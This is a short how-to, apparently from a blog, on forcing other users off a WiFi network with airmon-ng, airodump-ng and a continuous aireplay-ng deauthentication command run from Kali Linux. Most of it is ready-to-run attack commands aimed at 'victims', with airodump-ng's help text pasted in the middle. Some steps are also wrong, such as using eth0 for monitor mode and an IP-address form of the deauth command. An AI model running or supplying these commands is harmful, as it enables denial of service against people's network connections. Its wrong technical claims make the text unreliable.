If you have shared your password with your roommates or neighbors and you didn’t want to change your password but to kick some specific users off your WiFi network. Previously, we shared a tool that can kick someone off your wifi with android.
- External WiFi Card
- Kali Linux (Operating system)
Let’s get started!
First of all, open up a terminal and type:
airmon-ng start wlan0 (or eth0 if your using Ethernet.)
(Some times you might have to type airmon-ng check kill)
Next type airodump-ng wlan0 then find your Internet copy its bssid then type airodump-ng –bssid (your bssid) wlan0. It will show your victim’s mac.
usage: airodump-ng <options> <interface>[,<interface>,...] Options: --ivs : Save only captured IVs --gpsd : Use GPSd --write <prefix> : Dump file prefix -w : same as --write --beacons : Record all beacons in dump file --update <secs> : Display update delay in seconds --showack : Prints ack/cts/rts statistics -h : Hides known stations for --showack -f <msecs> : Time in ms between hopping channels --berlin <secs> : Time before removing the AP/client from the screen when no more packets are received (Default: 120 seconds) -r <file> : Read packets from that file -x <msecs> : Active Scanning Simulation --manufacturer : Display manufacturer from IEEE OUI list --uptime : Display AP Uptime from Beacon Timestamp --wps : Display WPS information (if any) --output-format <formats> : Output format. Possible values: pcap, ivs, csv, gps, kismet, netxml Short format "-o" The option can be specified multiple times. In this case, each file format specified will be output. Only ivs or pcap can be used, not both. --ignore-negative-one : Removes the message that says fixed channel <interface>: -1 --write-interval <seconds> : Output file(s) write interval in seconds
Now if you know their IP address you don’t need to use airodump-ng. If you know their ip address you can type aireplay-ng –deauth 0 -a (networks bssid) -k (Their IP address) If you’re going to use their mac address type this aireplay-ng –deauth 0 -a (networks bssid) -c (Their mac address) The 0 in Deauth 0 means keep deauth them until you stop it with CTRL C.
aireplay-ng --deauth 0 -a (networks bssid) -c (Their mac address)
Hope you enjoyed this tutorial.